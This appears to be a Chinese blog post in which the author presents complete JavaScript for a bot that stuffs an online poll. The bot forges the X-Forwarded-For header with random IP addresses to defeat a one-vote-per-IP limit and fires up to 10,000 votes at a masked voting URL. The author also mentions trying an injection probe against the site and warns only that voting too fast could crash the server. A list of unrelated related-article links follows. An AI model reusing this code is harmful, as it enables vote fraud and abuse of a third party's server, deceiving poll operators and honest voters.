【我们开发有力量之二】利用javascript制作批量网络投票机器人(自动改IP)
帮朋友忙网络投票,粗粗地看了下,投票没有什么限制,仅有一个ip校验:每天每个ip仅能投票一次。
也就是说,可以写一个程序,自动更换IP地址(伪造IP地址),实现批量刷票的目的。于是我写了一个投票机器人。。。
解决办法
1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");
以下代码用于生成随机IP地址:
function r(min,max){
return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
2、网络投票全代码,投票地址已经隐去:
<span style="font-size: small;"><span style="line-height: 18px;"><script>
function CreateXMLHttp2(){
var xmlhttp=null; if (window.XMLHttpRequest)
{ xmlhttp = new XMLHttpRequest(); }
if (!xmlhttp&&window.ActiveXObject)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0")
}
catch(e)
{
try
{
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0")
}
catch(e)
{
try {
new ActiveXObject("Msxml2.XMLHTTP")
}
catch(e)
{
try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}
}
}
}
}
if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"}
return xmlhttp;
} var g_i=0;
var timer;
function $(obj){
return document.getElementById(obj);
} function onSearch(){
var g_xmlhttp=CreateXMLHttp2(); if (!g_xmlhttp){
alert("你的浏览器不支持ajax");
return;
}
var idVal = $("id").value;
var sendData="id="+idVal;
var fakeIP=getRandomIp(); var total = $("total").value;
var intervalTime = $("intervalTime").value;
var timeRemain = (total-g_i)*intervalTime/1000;
$("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒" + "</br>当前伪造IP:" + fakeIP+"</br>";
//alert(fakeIP);return ;
try{
g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true);
g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
//伪造ip的属性
g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
g_xmlhttp.onreadystatechange=function(){
if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){
if(++g_i<total){
timer = setTimeout("onSearch()",intervalTime);
}
if(g_i >= total){
alert("本次投票完成");
}
}
}
g_xmlhttp.send(sendData);
}catch(e){ }
} function r(min,max){
return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
function stopSearch(){
clearTimeout(timer);
}
function startInit(){
$("res").innerHTML=""
}
</script>
<form name="form1" method="post" action="" id="form1">
<div>
<br /> <input id="ip" type="hidden" value="124.22.11." />
<br />
投票间隔(单位毫秒):
<input id="intervalTime" type="text" value="200" />
<br />
投票总数:
<input id="total" type="text" value="10000" />
</br>
投票ID:
<input id="id" type="text" value="77" />
</br>
<input id="search" type="button" onclick="startInit();onSearch();"
value="开始" />
<input id="search" type="button" onclick="stopSearch();" value="停止" />
<br />
<br />
<span id="res"></span>
<br />
<br />
</div>
</form>
</span></span>
需要注意的是,不能投票太快,投票时间要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。
希望这个例子对大家有所启发。
【我们开发有力量之二】利用javascript制作批量网络投票机器人(自动改IP)的更多相关文章
- 一步步教你如何在ubuntu虚拟机中安装QEMU并模拟arm 开发环境(二)rootfs制作
过了,一天,周又到了,博主终于可以拿出时间来把上一次没有给大家展示完了的内容今天在这里一并展示给大家,希望和大家共同进步,共同学习,同时我也虔诚的希望各位业界的朋友把自己的工作经验拿出来大家一起分享, ...
- 利用Javascript制作网页特效(其他常见特效)
设置为首页和加入收藏夹 ①:在body标签内输入以下代码: <a onclick="this.style.behavior='url(#default#homepage)'; this ...
- 利用Javascript制作网页特效(窗口特效)
全屏显示窗口 利用fullscreen=yes可以制作全屏显示窗口. ①:在body标签内输入以下代码: <div align="center"> <input ...
- 利用Javascript制作网页特效(图像特效)
图像是文本的解释和说明,在网页中的适当位置放置一些图像,不仅可以使文本更加容易阅读,而且可以使网页更加具有吸引力. 当鼠标指针经过图像时图像振动效果 ①:在head标签内输入以下代码: <sty ...
- 利用Javascript制作网页特效(时间特效)
在网页中经常可以看到各种各样的动态时间显示,在网页中合理地使用时间可以增加网页的时效感. 显示当前时间 getHours().getMinutes().getSeconds()分别获得当前小时数.当前 ...
- 利用JavaScript制作计算器
<html> <head> <meta charset="utf-8"> <title>无标题文档</title> &l ...
- 利用JavaScript制作简易日历
<html xmlns="http://www.w3.org/1999/xhtml" lang="en"> <head> <met ...
- 利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片
利用zxing制作彩色,高容错,支持中文等UTF编码的QR二维码图片.代码如下 import java.awt.Color;import java.io.File;import java.util.H ...
- 利用javascript:void(0)制作假的提交按钮替代button
在写html页面,我们很自然的在表单提交的地方采用button来作为提交按钮,但是,用<button type=”button”>按钮</button>作为提交代码会有个问题, ...
随机推荐
- 如何快速地编写和运行一个属于自己的 MapReduce 例子程序
大数据的时代, 到处张嘴闭嘴都是Hadoop, MapReduce, 不跟上时代怎么行? 可是对一个hadoop的新手, 写一个属于自己的MapReduce程序还是小有点难度的, 需要建立一个mave ...
- 最近JavaScript的一些收获
开发习惯的上的收获 1,开发过程中,要让整个逻辑展示在一个函数中,中间部分则做可以考虑公用策略优化 2,开发完成至少有三个角度进行测试,正面方面和中立 开发技巧上面的收获 1,驼峰转为‘-’以及‘-’ ...
- ORACLE:一列的多行数据拼成字符串
查询表中的一个字段,返回了多行,就把这么多行的数据都拼成一个字符串. 例: id name 1 aa 2 bb 3 cc 要的结果是&quo ...
- HBase 架构与工作原理2 - HBase 组件
本文系转载,如有侵权,请联系我:likui0913@gmail.com 一.HBase 组件概览 Master-Slave 模式: HBase 体系结构遵循传统的 master-slave 模式,由一 ...
- 电脑CPU开机上电后的第一条指令
结合上面的文章,CPU上电后第一条指令是通过CS:IP来指定的,CPU厂家会给其初始值,对于386处理器来说,CPU第一条指令地址是 0xFFFFFFF0 这里会有一个问题,CPU怎么能一上来就去0x ...
- Hibernate 之主键生成策略小总结
主键生成策略大致分两种: 手工控制策略 自动生成策略[框架自动生成和数据库自动生成] 手工控制策略: assigned:类型是任意的,需要在 save() 到数据库前,编码人员手工设置主键值,也就是调 ...
- springboot学习笔记-2 一些常用的配置以及整合mybatis
一.一些常用的配置 1.1 使用没有父POM的springboot 通过添加scope=import的依赖,仍然能获取到依赖管理的好处: <dependencyManagement> &l ...
- centos 7下ldap安装
环境说明: 操作系统:CentOS Linux release 7.5.1804 (Core) LDAP:2.4.44 前提条件: 关闭防火墙.selinux,同时进行时钟同步. 其中XXX需要用域名 ...
- URAL 1969. Hong Kong Tram
有一个trick就是没想到,枚举第二段时间后,要检测该火车能否继续跑一圈来判断,不能先检测前半圈能不能跑加进去后在检测后半段: // **** 部分不能放在那个位置: 最近代码导致的错误总是找不出,贴 ...
- Zju1610 Count the Colors
题面: 画一些颜色段在一行上,一些较早的颜色就会被后来的颜色覆盖了. 你的任务就是要数出你随后能看到的不同颜色的段的数目. Input: 每组测试数据第一行只有一个整数n, 1 <= n < ...